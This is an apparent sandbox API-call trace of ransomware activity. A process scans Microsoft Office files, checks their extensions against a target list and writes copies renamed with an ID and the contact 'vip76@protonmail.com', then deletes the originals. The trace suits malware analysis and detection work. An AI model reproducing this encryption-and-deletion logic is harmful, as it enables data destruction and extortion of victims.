	[0178.758] lstrlenW (lpString="api-ms-win-core-synch-l1-2-0.dll") returned 32
	[0178.758] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c0
	[0178.760] GetFileSizeEx (in: hFile=0x5c0, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=19136) returned 1
	[0178.760] CloseHandle (hObject=0x5c0) returned 1
	[0178.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll")) returned 0x220
	[0178.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0178.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0178.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0178.760] lstrlenW (lpString=".doc") returned 4
	[0178.760] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0178.760] lstrlenW (lpString=".docx") returned 5
	[0178.760] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0178.760] lstrlenW (lpString=".pdf") returned 4
	[0178.760] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0178.760] lstrlenW (lpString=".xls") returned 4
	[0178.760] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0178.761] lstrlenW (lpString=".xlsx") returned 5
	[0178.761] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0178.761] lstrlenW (lpString=".ppt") returned 4
	[0178.761] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0178.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0178.761] lstrlenW (lpString=".zip") returned 4
	[0178.761] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0178.761] lstrlenW (lpString=".rar") returned 4
	[0178.761] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0178.761] lstrlenW (lpString=".bz2") returned 4
	[0178.761] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0178.761] lstrlenW (lpString=".7z") returned 3
	[0178.761] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0178.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0178.761] lstrlenW (lpString=".dbf") returned 4
	[0178.761] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0178.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0178.761] lstrlenW (lpString=".1cd") returned 4
	[0178.761] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0178.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0178.761] lstrlenW (lpString=".jpg") returned 4
	[0178.761] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0178.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0178.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0178.761] lstrlenW (lpString=".doc") returned 4
	[0178.761] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0178.761] lstrlenW (lpString=".docx") returned 5
	[0178.761] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0178.761] lstrlenW (lpString=".pdf") returned 4
	[0178.761] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0178.761] lstrlenW (lpString=".xls") returned 4
	[0178.761] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0178.761] lstrlenW (lpString=".xlsx") returned 5
	[0178.762] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0178.762] lstrlenW (lpString=".ppt") returned 4
	[0178.762] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0178.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0178.762] lstrlenW (lpString=".zip") returned 4
	[0178.762] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0178.762] lstrlenW (lpString=".rar") returned 4
	[0178.762] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0178.762] lstrlenW (lpString=".bz2") returned 4
	[0178.762] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0178.762] lstrlenW (lpString=".7z") returned 3
	[0178.762] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0178.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0178.762] lstrlenW (lpString=".dbf") returned 4
	[0178.762] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0178.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0178.762] lstrlenW (lpString=".1cd") returned 4
	[0178.762] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0178.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-synch-l1-2-0.dll") returned 78
	[0178.762] lstrlenW (lpString=".jpg") returned 4
	[0178.762] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0178.762] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0178.762] lstrlenW (lpString="api-ms-win-core-timezone-l1-1-0.dll") returned 35
	[0178.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x588
	[0178.763] GetFileSizeEx (in: hFile=0x588, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=18624) returned 1
	[0178.764] CloseHandle (hObject=0x588) returned 1
	[0178.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll")) returned 0x220
	[0178.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0178.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0178.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81
	[0178.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81
	[0178.764] lstrlenW (lpString=".doc") returned 4
	[0178.764] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0178.764] lstrlenW (lpString=".docx") returned 5
	[0178.764] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0178.764] lstrlenW (lpString=".pdf") returned 4
	[0178.764] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0178.764] lstrlenW (lpString=".xls") returned 4
	[0178.764] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0178.764] lstrlenW (lpString=".xlsx") returned 5
	[0178.764] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0178.764] lstrlenW (lpString=".ppt") returned 4
	[0178.764] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0178.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81
	[0178.764] lstrlenW (lpString=".zip") returned 4
	[0178.764] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0178.765] lstrlenW (lpString=".rar") returned 4
	[0178.765] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0178.765] lstrlenW (lpString=".bz2") returned 4
	[0178.765] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0178.765] lstrlenW (lpString=".7z") returned 3
	[0178.765] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0178.765] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-core-timezone-l1-1-0.dll") returned 81
	[0178.765] lstrlenW (lpString=".dbf") returned 4
	[0178.765] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0179.404] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.404] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0179.405] GetLastError () returned 0x0
	[0179.405] ReadFile (in: hFile=0x514, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x1815, lpOverlapped=0x0) returned 1
	[0179.410] WriteFile (in: hFile=0x5bc, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x1820, lpOverlapped=0x0) returned 1
	[0179.412] ReadFile (in: hFile=0x514, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.412] WriteFile (in: hFile=0x5bc, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xea, lpOverlapped=0x0) returned 1
	[0179.412] SetEndOfFile (hFile=0x5bc) returned 1
	[0179.412] CloseHandle (hObject=0x5bc) returned 1
	[0179.412] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.412] SetEndOfFile (hFile=0x514) returned 1
	[0179.416] CloseHandle (hObject=0x514) returned 1
	[0179.416] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0179.416] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 1
	[0179.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0179.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0179.417] lstrlenW (lpString=".doc") returned 4
	[0179.417] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0179.417] lstrlenW (lpString=".docx") returned 5
	[0179.417] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0179.417] lstrlenW (lpString=".pdf") returned 4
	[0179.417] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0179.417] lstrlenW (lpString=".xls") returned 4
	[0179.417] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0179.417] lstrlenW (lpString=".xlsx") returned 5
	[0179.417] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0179.417] lstrlenW (lpString=".ppt") returned 4
	[0179.417] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0179.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0179.417] lstrlenW (lpString=".zip") returned 4
	[0179.417] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0179.417] lstrlenW (lpString=".rar") returned 4
	[0179.417] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0179.417] lstrlenW (lpString=".bz2") returned 4
	[0179.417] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0179.418] lstrlenW (lpString=".7z") returned 3
	[0179.418] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0179.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0179.418] lstrlenW (lpString=".dbf") returned 4
	[0179.418] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0179.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0179.418] lstrlenW (lpString=".1cd") returned 4
	[0179.418] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0179.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0179.418] lstrlenW (lpString=".jpg") returned 4
	[0179.418] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0179.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0179.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0179.418] lstrlenW (lpString=".doc") returned 4
	[0179.418] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0179.418] lstrlenW (lpString=".docx") returned 5
	[0179.418] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0179.418] lstrlenW (lpString=".pdf") returned 4
	[0179.418] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0179.418] lstrlenW (lpString=".xls") returned 4
	[0179.418] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0179.418] lstrlenW (lpString=".xlsx") returned 5
	[0179.418] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0179.418] lstrlenW (lpString=".ppt") returned 4
	[0179.418] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0179.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0179.418] lstrlenW (lpString=".zip") returned 4
	[0179.418] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0179.418] lstrlenW (lpString=".rar") returned 4
	[0179.418] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0179.418] lstrlenW (lpString=".bz2") returned 4
	[0179.418] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0179.419] lstrlenW (lpString=".7z") returned 3
	[0179.419] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0179.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0179.419] lstrlenW (lpString=".dbf") returned 4
	[0179.419] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0179.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0179.419] lstrlenW (lpString=".1cd") returned 4
	[0179.419] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0179.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0179.419] lstrlenW (lpString=".jpg") returned 4
	[0179.419] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0179.419] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0179.419] lstrlenW (lpString="EXPLR_01.MID") returned 12
	[0179.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0179.420] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=10562) returned 1
	[0179.420] CloseHandle (hObject=0x514) returned 1
	[0179.420] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 0x220
	[0179.421] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0179.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0179.421] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.421] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5bc
	[0179.422] GetLastError () returned 0x0
	[0179.422] ReadFile (in: hFile=0x514, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x2942, lpOverlapped=0x0) returned 1
	[0179.423] WriteFile (in: hFile=0x5bc, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0x2950, lpOverlapped=0x0) returned 1
	[0179.424] ReadFile (in: hFile=0x514, lpBuffer=0x3fbb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.424] WriteFile (in: hFile=0x5bc, lpBuffer=0x3fbb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3fbb020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.425] SetEndOfFile (hFile=0x5bc) returned 1
	[0179.425] CloseHandle (hObject=0x5bc) returned 1
	[0179.425] SetFilePointerEx (in: hFile=0x514, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.425] SetEndOfFile (hFile=0x514) returned 1
	[0179.427] CloseHandle (hObject=0x514) returned 1
	[0179.428] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0179.428] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 1
	[0179.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0179.428] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0179.428] lstrlenW (lpString=".doc") returned 4
	[0179.428] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0179.429] lstrlenW (lpString=".docx") returned 5
	[0179.429] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0179.429] lstrlenW (lpString=".pdf") returned 4
	[0179.429] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0179.429] lstrlenW (lpString=".xls") returned 4
	[0179.429] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0179.429] lstrlenW (lpString=".xlsx") returned 5
	[0179.429] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0179.429] lstrlenW (lpString=".ppt") returned 4
	[0179.429] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0179.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0179.429] lstrlenW (lpString=".zip") returned 4
	[0179.429] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0179.429] lstrlenW (lpString=".rar") returned 4
	[0179.429] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0179.429] lstrlenW (lpString=".bz2") returned 4
	[0179.429] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0179.429] lstrlenW (lpString=".7z") returned 3
	[0179.429] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0179.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0179.429] lstrlenW (lpString=".dbf") returned 4
	[0179.429] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0179.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0179.429] lstrlenW (lpString=".1cd") returned 4
	[0179.429] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0179.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0179.429] lstrlenW (lpString=".jpg") returned 4
	[0179.429] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0179.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0179.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0179.429] lstrlenW (lpString=".doc") returned 4
	[0179.429] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0179.430] lstrlenW (lpString=".docx") returned 5
	[0179.430] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0179.430] lstrlenW (lpString=".pdf") returned 4
	[0179.430] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0179.430] lstrlenW (lpString=".xls") returned 4
	[0179.430] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0179.430] lstrlenW (lpString=".xlsx") returned 5
	[0179.430] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0179.430] lstrlenW (lpString=".ppt") returned 4
	[0179.430] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0179.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0179.430] lstrlenW (lpString=".zip") returned 4
	[0179.430] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0179.430] lstrlenW (lpString=".rar") returned 4
	[0179.430] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0179.430] lstrlenW (lpString=".bz2") returned 4
	[0179.430] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0179.430] lstrlenW (lpString=".7z") returned 3
	[0179.430] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0179.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0179.430] lstrlenW (lpString=".dbf") returned 4
	[0179.430] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0179.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0179.430] lstrlenW (lpString=".1cd") returned 4
	[0179.430] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0179.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 68
	[0179.430] lstrlenW (lpString=".jpg") returned 4
	[0179.430] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0179.431] lstrcmpiW (lpString1=".MID", lpString2=".html") returned 1
	[0179.431] lstrlenW (lpString="FALL_01.MID") returned 11
	[0179.431] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x514
	[0179.432] GetFileSizeEx (in: hFile=0x514, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=4846) returned 1
	[0179.432] CloseHandle (hObject=0x514) returned 1
	[0179.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fall_01.mid")) returned 0x220
